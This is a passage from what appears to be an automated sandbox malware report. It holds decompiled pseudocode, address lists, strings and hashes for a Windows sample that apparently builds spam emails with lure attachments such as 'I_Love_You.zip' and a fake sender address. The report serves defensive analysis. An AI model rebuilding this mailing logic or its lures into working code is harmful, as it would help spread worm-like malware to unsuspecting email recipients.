					_v1168 = _t347;
					L0040C328();
					_t368 = _t364 - 0xfffffffffffffff0;
					 *_t368 = 0x12;
					_t348 = E00404EAE( *((intOrPtr*)(0x40d0c4 + _v1088 * 4)));
					_t325 =  &_v1068;
					_v1172 = 0x40eda2;
					 *_t368 = _t325;
					L0040C240();
					if(_t325 != 0) {
						 *_t368 = 8;
						_t348 = E00404EAE(_t325) + 0x12;
					}
					if(_t348 <= 0x19) {
						switch( *((intOrPtr*)(_t348 * 4 +  &M0040EE08))) {
							case 0:
								_v1172 =  *((intOrPtr*)(0x40d0e0 + _t348 * 4));
								 *_t368 =  &_v188;
								L0040C328();
								_t369 = _t368 - 8;
								 *_t369 = 8;
								_v1180 =  *((intOrPtr*)(0x40d080 + E00404EAE( &_v188) * 4));
								 *_t369 =  &_v508;
								L0040C328();
								_t370 = _t369 - 8;
								 *_t370 = 2;
								_v1188 = 0x40d148[E00404EAE( &_v508)];
								 *_t370 =  &_v300;
								L0040C328();
								_t368 = _t370 - 8;
								goto L31;
							case 1:
								__eax =  *0x40d150;
								_v1172 =  *0x40d150;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1180 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 8);
								_v1188 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 2:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d154; // 0x40eb4e
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 3:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d158; // 0x40eb5f
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 4:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d15c; // 0x40eb73
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 5:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 8);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d160; // 0x40eb86
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 6:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d098; // 0x40e5e0
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x14);
								__eax =  *(0x40d1a0 + __eax * 4);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 7:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d09c; // 0x40e618
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x14);
								__eax =  *(0x40d1a0 + __eax * 4);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 8:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d08c; // 0x40e558
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x14);
								__eax =  *(0x40d1a0 + __eax * 4);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 9:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d088; // 0x40e508
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x14);
								__eax =  *(0x40d1a0 + __eax * 4);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xa:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a0; // 0x40e64c
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								_v1188 = "admin@bigtits.com";
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xb:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 2);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x14);
								__eax =  *(0x40d1a0 + __eax * 4);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 5);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xc:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x14);
								__eax =  *(0x40d1a0 + __eax * 4);
								_v1180 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 5);
								_v1188 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a4; // 0x40e688
								_v1196 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = "I_Love_You.zip";
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xd:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x14);
								__eax =  *(0x40d1a0 + __eax * 4);
								_v1180 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 5);
								_v1188 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0a8; // 0x40e6b2
								_v1196 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = "Happy_birthday_to_you.zip";
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								goto L31;
							case 0xe:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 2);
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x16);
								__eax =  *(0x40d200 + __eax * 4);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0xf:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0b4; // 0x40e785
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 2);
								if(__eax != 0) {
									__eax = E00404EAE(__eax, 0x16);
									__eax =  *(0x40d200 + __eax * 4);
									_v1188 = __eax;
									__ebx =  &_v300;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__eax = E00404EAE(__eax, 4);
									_v1196 = __eax;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__edx =  &_v76;
									asm("cld");
									__ecx = 0xa;
									__eax = 0;
									__edi = __edx;
									__eax = memset(__edi, 0, 0xa << 2);
									__edi = __edi + __ecx;
									__ecx = 0;
									_v1204 = 0x40ede1;
									_v1208 = __edx;
									L0040C328();
									__esp = __esp - 8;
								} else {
									__eax = E00404EAE(__eax, 0x15);
									__eax =  *(0x40d260 + __eax * 4);
									_v1188 = __eax;
									__ebx =  &_v300;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__eax = E00404EAE(__eax, 4);
									_v1196 = __eax;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__edx =  &_v76;
									asm("cld");
									__ecx = 0xa;
									__eax = 0;
									__edi = __edx;
									__eax = memset(__edi, 0, 0xa << 2);
									__edi = __edi + __ecx;
									__ecx = 0;
									_v1204 = 0x40ede1;
									_v1208 = __edx;
									L0040C328();
									__esp = __esp - 8;
								}
								_v1212 = "mvcsvnd.qyy";
								__ebx =  &_v812;
								 *__esp = __ebx;
								__eax = E00404C38();
								_v1208 = __ebx;
								_v1212 = 0x104;
								__eax =  &_v780;
								 *__esp = __eax;
								__eax = E00404620(__eax);
								_v1072 = 1;
								goto L31;
							case 0x10:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0b8; // 0x40e7a0
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x16);
								__eax =  *(0x40d200 + __eax * 4);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0x11:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0bc; // 0x40e7cc
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d148; // 0x40eb0c
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0x12:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0c0; // 0x40e7f1
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp = __eax;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 0x16);
								__eax =  *(0x40d200 + __eax * 4);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(__eax, 4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = 0x40edf7;
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								L31:
								while(E00404F0A(_t348, _t354) == 0) {
									 *_t368 = 0x7530;
									L0040C308();
									_t368 = _t368 - 4;
								}
								_v1152 = _v1072;
								_v1156 =  &_v76;
								_v1160 =  &_v780;
								_v1164 =  &_v508;
								_v1168 =  &_v188;
								_v1172 =  &_v1068;
								 *_t368 =  &_v300; // executed
								E00405EE8(); // executed
								_t352 = 0;
								goto L33;
						}
					}
					goto L31;
				}
				L33:
				return _t352;
			}

0x00402294
0x0040229e
0x004022a1
0x004022a4
0x004022a9
0x004022ac
0x004022b4
0x004022ba
0x004022c0
0x004022c8
0x004022d0
0x004022d3
0x004022d8
0x004022dc
0x004022df
0x004022e4
0x004022e7
0x004022ef
0x004022f5
0x004022f8
0x004022fd
0x00402301
0x0040230f
0x00402312
0x00402317
0x00402323
0x00402325
0x00402331
0x00402337
0x0040233f
0x00402346
0x0040234b
0x0040235a
0x0040235a
0x00402368
0x00402370
0x00402378
0x0040237b
0x00402386
0x0040238e
0x00402396
0x00402399
0x004023a4
0x004023ac
0x004023b4
0x004023b7
0x004023bc
0x004023bf
0x004023cc
0x004023cc
0x004023d6
0x004023da
0x004023dc
0x004023df
0x004023e7
0x004023ef
0x004023f2
0x00402403
0x00402407
0x0040240a
0x00402412
0x0040241a
0x0040241d
0x00402422
0x00402425
0x00402431
0x00402433
0x00402439
0x00402441
0x00402444
0x0040244b
0x0040244d
0x0040245b
0x0040245b
0x00402461
0x00402467
0x00000000
0x00402475
0x0040247f
0x00402482
0x00402487
0x0040248a
0x0040249d
0x004024a7
0x004024aa
0x004024af
0x004024b2
0x004024c5
0x004024cf
0x004024d2
0x004024d7
0x00000000
0x00000000
0x004024df
0x004024e4
0x004024e8
0x004024ee
0x004024f1
0x004024f6
0x004024f9
0x00402500
0x00402504
0x0040250a
0x0040250d
0x00402512
0x0040251c
0x00402528
0x0040252c
0x00402532
0x00402535
0x0040253a
0x00000000
0x00000000
0x00402542
0x00402549
0x0040254d
0x00402553
0x00402556
0x0040255b
0x00402565
0x00402571
0x00402575
0x0040257b
0x0040257e
0x00402583
0x00402586
0x0040258b
0x0040258f
0x00402595
0x00402598
0x0040259d
0x00000000
0x00000000
0x004025a5
0x004025ac
0x004025b0
0x004025b6
0x004025b9
0x004025be
0x004025c8
0x004025d4
0x004025d8
0x004025de
0x004025e1
0x004025e6
0x004025e9
0x004025ee
0x004025f2
0x004025f8
0x004025fb
0x00402600
0x00000000
0x00000000
0x00402608
0x0040260f
0x00402613
0x00402619
0x0040261c
0x00402621
0x0040262b
0x00402637
0x0040263b
0x00402641
0x00402644
0x00402649
0x0040264c
0x00402651
0x00402655
0x0040265b
0x0040265e
0x00402663
0x00000000
0x00000000
0x0040266b
0x00402672
0x00402676
0x0040267c
0x0040267f
0x00402684
0x0040268e
0x0040269a
0x0040269e
0x004026a4
0x004026a7
0x004026ac
0x004026af
0x004026b4
0x004026b8
0x004026be
0x004026c1
0x004026c6
0x00000000
0x00000000
0x004026ce
0x004026d5
0x004026d9
0x004026df
0x004026e2
0x004026e7
0x004026ea
0x004026ef
0x004026f3
0x004026f9
0x004026fc
0x00402701
0x0040270b
0x00402710
0x00402717
0x0040271b
0x00402721
0x00402724
0x00402729
0x00402733
0x0040273f
0x00402743
0x00402746
0x0040274b
0x00000000
0x00000000
0x00402753
0x0040275a
0x0040275e
0x00402764
0x00402767
0x0040276c
0x0040276f
0x00402774
0x00402778
0x0040277e
0x00402781
0x00402786
0x00402790
0x00402795
0x0040279c
0x004027a0
0x004027a6
0x004027a9
0x004027ae
0x004027b8
0x004027c4
0x004027c8
0x004027cb
0x004027d0
0x00000000
0x00000000
0x004027d8
0x004027df
0x004027e3
0x004027e9
0x004027ec
0x004027f1
0x004027f4
0x004027f9
0x004027fd
0x00402803
0x00402806
0x0040280b
0x00402815
0x0040281a
0x00402821
0x00402825
0x0040282b
0x0040282e
0x00402833
0x0040283d
0x00402849
0x0040284d
0x00402850
0x00402855
0x00000000
0x00000000
0x0040285d
0x00402864
0x00402868
0x0040286e
0x00402871
0x00402876
0x00402879
0x0040287e
0x00402882
0x00402888
0x0040288b
0x00402890
0x0040289a
0x0040289f
0x004028a6
0x004028aa
0x004028b0
0x004028b3
0x004028b8
0x004028c2
0x004028ce
0x004028d2
0x004028d5
0x004028da
0x00000000
0x00000000
0x004028e2
0x004028e9
0x004028ed
0x004028f3
0x004028f6
0x004028fb
0x004028fe
0x00402903
0x00402907
0x0040290d
0x00402910
0x00402915
0x00402918
0x00402920
0x00402926
0x00402929
0x0040292e
0x00000000
0x00000000
0x00402936
0x0040293d
0x00402941
0x00402947
0x0040294a
0x0040294f
0x00402959
0x00402965
0x00402969
0x0040296f
0x00402972
0x00402977
0x00402981
0x00402986
0x0040298d
0x00402991
0x00402997
0x0040299a
0x0040299f
0x004029a9
0x004029b5
0x004029b9
0x004029bc
0x004029c1
0x00000000
0x00000000
0x004029c9
0x004029d0
0x004029d4
0x004029da
0x004029dd
0x004029e2
0x004029ec
0x004029f1
0x004029f8
0x004029fc
0x00402a02
0x00402a05
0x00402a0a
0x00402a14
0x00402a20
0x00402a24
0x00402a27
0x00402a2c
0x00402a2f
0x00402a34
0x00402a38
0x00402a3e
0x00402a41
0x00402a46
0x00402a49
0x00402a4c
0x00402a4d
0x00402a52
0x00402a57
0x00402a59
0x00402a59
0x00402a59
0x00402a5b
0x00402a63
0x00402a66
0x00402a6b
0x00000000
0x00000000
0x00402a73
0x00402a7a
0x00402a7e
0x00402a84
0x00402a87
0x00402a8c
0x00402a96
0x00402a9b
0x00402aa2
0x00402aa6
0x00402aac
0x00402aaf
0x00402ab4
0x00402abe
0x00402aca
0x00402ace
0x00402ad1
0x00402ad6
0x00402ad9
0x00402ade
0x00402ae2
0x00402ae8
0x00402aeb
0x00402af0
0x00402af3
0x00402af6
0x00402af7
0x00402afc
0x00402b01
0x00402b03
0x00402b03
0x00402b03
0x00402b05
0x00402b0d
0x00402b10
0x00402b15
0x00000000
0x00000000
0x00402b1d
0x00402b24
0x00402b28
0x00402b2e
0x00402b31
0x00402b36
0x00402b40
0x00402b4c
0x00402b50
0x00402b56
0x00402b59
0x00402b5e
0x00402b68
0x00402b6d
0x00402b74
0x00402b78
0x00402b7e
0x00402b81
0x00402b86
0x00402b90
0x00402b9c
0x00402ba0
0x00402ba3
0x00402ba8
0x00402bab
0x00000000
0x00000000
0x00402bba
0x00402bc1
0x00402bc5
0x00402bcb
0x00402bce
0x00402bd3
0x00402bd6
0x00402bdb
0x00402bdf
0x00402be5
0x00402be8
0x00402bed
0x00402bf7
0x00402bfe
0x00402c78
0x00402c7d
0x00402c84
0x00402c88
0x00402c8e
0x00402c91
0x00402c96
0x00402ca0
0x00402cac
0x00402cb0
0x00402cb3
0x00402cb8
0x00402cbb
0x00402cbe
0x00402cbf
0x00402cc4
0x00402cc9
0x00402ccb
0x00402ccb
0x00402ccb
0x00402ccd
0x00402cd5
0x00402cd8
0x00402cdd
0x00402c00
0x00402c07
0x00402c0c
0x00402c13
0x00402c17
0x00402c1d
0x00402c20
0x00402c25
0x00402c2f
0x00402c3b
0x00402c3f
0x00402c42
0x00402c47
0x00402c4a
0x00402c4d
0x00402c4e
0x00402c53
0x00402c58
0x00402c5a
0x00402c5a
0x00402c5a
0x00402c5c
0x00402c64
0x00402c67
0x00402c6c
0x00402c6c
0x00402ce0
0x00402ce8
0x00402cee
0x00402cf1
0x00402cf6
0x00402cfa
0x00402d02
0x00402d08
0x00402d0b
0x00402d10
0x00000000
0x00000000
0x00402d1f
0x00402d26
0x00402d2a
0x00402d30
0x00402d33
0x00402d38
0x00402d3b
0x00402d40
0x00402d44
0x00402d4a
0x00402d4d
0x00402d52
0x00402d5c
0x00402d61
0x00402d68
0x00402d6c
0x00402d72
0x00402d75
0x00402d7a
0x00402d84
0x00402d90
0x00402d94
0x00402d97
0x00402d9c
0x00402d9f
0x00000000
0x00000000
0x00402dae
0x00402db5
0x00402db9
0x00402dbf
0x00402dc2
0x00402dc7
0x00402dca
0x00402dcf
0x00402dd3
0x00402dd9
0x00402ddc
0x00402de1
0x00402de4
0x00402de9
0x00402ded
0x00402df3
0x00402df6
0x00402dfb
0x00402dfe
0x00000000
0x00000000
0x00402e0d
0x00402e14
0x00402e18
0x00402e1e
0x00402e21
0x00402e26
0x00402e29
0x00402e2e
0x00402e32
0x00402e38
0x00402e3b
0x00402e40
0x00402e4a
0x00402e4f
0x00402e56
0x00402e5a
0x00402e60
0x00402e63
0x00402e68
0x00402e72
0x00402e7e
0x00402e82
0x00402e85
0x00402e8a
0x00402e8d
0x00402e90
0x00402e91
0x00402e96
0x00402e9b
0x00402e9d
0x00402e9d
0x00402e9d
0x00402e9f
0x00402ea7
0x00402eaa
0x00402eaf
0x00402eb2
0x00000000
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f1d
0x00000000
0x00000000
0x00402467
0x00000000
0x00402461
0x00402f22
0x00402f2b

Strings

X@, xrefs: 004027F4
N@, xrefs: 00402586
@, xrefs: 004026EA
.zip, xrefs: 00402412
mvcsv.qyy, xrefs: 004022E7
_@, xrefs: 004025E9
s@, xrefs: 0040264C
.ru, xrefs: 00402439
8@, xrefs: 004024DF
d, xrefs: 004023A4

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID: .ru$.zip$8@$N@$X@$_@$d$mvcsv.qyy$s@$@
API String ID: 3161882108-1716888737
Opcode ID: 4b0d2b591e51dae0937b64699220b662df0f8fadbd61b2e65e6666830c388cae
Instruction ID: c4b552956d8c88359d0401bfea8a3880dfb39e4fafa2b11eb934faa6a3ed69b2
Opcode Fuzzy Hash: 4b0d2b591e51dae0937b64699220b662df0f8fadbd61b2e65e6666830c388cae
Instruction Fuzzy Hash: 27F1DBB5814304CBCB10BF75D98569DBBF0BB84304F41897EE9C8A7291EB389698CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0E0 Relevance: 11.4, Strings: 9, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E0040B0E0(void* __eax) {
				void* _v16;
				short _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				char _v108;
				short _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v188;
				int _v192;
				void* __ebx;
				char _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				void* _t61;
				intOrPtr _t64;
				intOrPtr _t70;
				intOrPtr _t72;
				signed char _t74;
				char _t77;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t82;
				intOrPtr _t83;
				intOrPtr _t84;
				signed short _t87;
				void* _t89;
				void* _t91;
				signed int _t92;
				signed int _t93;
				void* _t95;
				signed int _t100;
				intOrPtr _t102;
				intOrPtr _t103;
				void* _t104;
				signed int _t105;
				signed int _t108;
				signed int _t109;
				void* _t110;
				signed int* _t111;
				intOrPtr* _t112;
				intOrPtr* _t115;
				signed int* _t116;

				_t111 = _t110 - 0xcc;
				_t93 =  *0x418284;
				if(_t93 == 0) {
					_v108 = 0x41414141;
					_t51 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
					_t3 =  &_v108; // 0x41414141
					_t109 = _t3;
					_v104 = 0x41414141;
					_v100 = 0x41414141;
					_v76 = _t51;
					_t52 = M004131B4; // 0x57434347
					_v96 = 0x41414141;
					_v92 = 0x41414141;
					_v72 = _t52;
					_t53 = M004131B8; // 0x452d3233
					_v88 = 0x41414141;
					_v84 = 0x41414141;
					_v68 = _t53;
					_t54 = M004131BC; // 0x2d322d48
					_v80 = 0x41414141;
					_v64 = _t54;
					_t55 = M004131C0; // 0x4a4c4a53
					_v60 = _t55;
					_t56 = M004131C4; // 0x4854472d
					_v56 = _t56;
					_t57 = M004131C8; // 0x494d2d52
					_v52 = _t57;
					_t58 =  *0x4131cc; // 0x3357474e
					_v48 = _t58;
					_v44 =  *0x4131d0 & 0x0000ffff;
					 *_t111 = _t109;
					_t61 =  *0x419398() & 0x0000ffff;
					_t112 = _t111 - 4;
					_v192 = _t61;
					if(_t61 != 0) {
						L10:
						_t92 = E0040B040(_t61, _t91);
					} else {
						 *_t112 = 0x3c;
						L0040C1E0();
						_t92 = _t61;
						if(_t61 == 0) {
							L0040C278();
							0;
							0;
							_push(_t93);
							_t95 = _t112 + 8;
							while(_t61 >= 0x1000) {
								_t95 = _t95 - 0x1000;
								_t61 = _t61 - 0x1000;
							}
							goto __eax;
						}
						asm("cld");
						memset(_t61, _v192, 0xf << 2);
						_t115 = _t112 + 0xc;
						 *((intOrPtr*)(_t92 + 4)) = L0040C278;
						_t100 = 1;
						 *((intOrPtr*)(_t92 + 8)) = E0040B030;
						 *_t92 = 0x3c;
						 *((intOrPtr*)(_t92 + 0x28)) = 0;
						 *((intOrPtr*)(_t92 + 0x14)) =  *0x418254;
						_t70 =  *0x40d4f0; // 0x0
						 *((intOrPtr*)(_t92 + 0x18)) =  *0x418258;
						_t102 =  *0x40d4f4; // 0xffffffff
						 *((intOrPtr*)(_t92 + 0x1c)) = _t70;
						 *((intOrPtr*)(_t92 + 0x20)) = _t102;
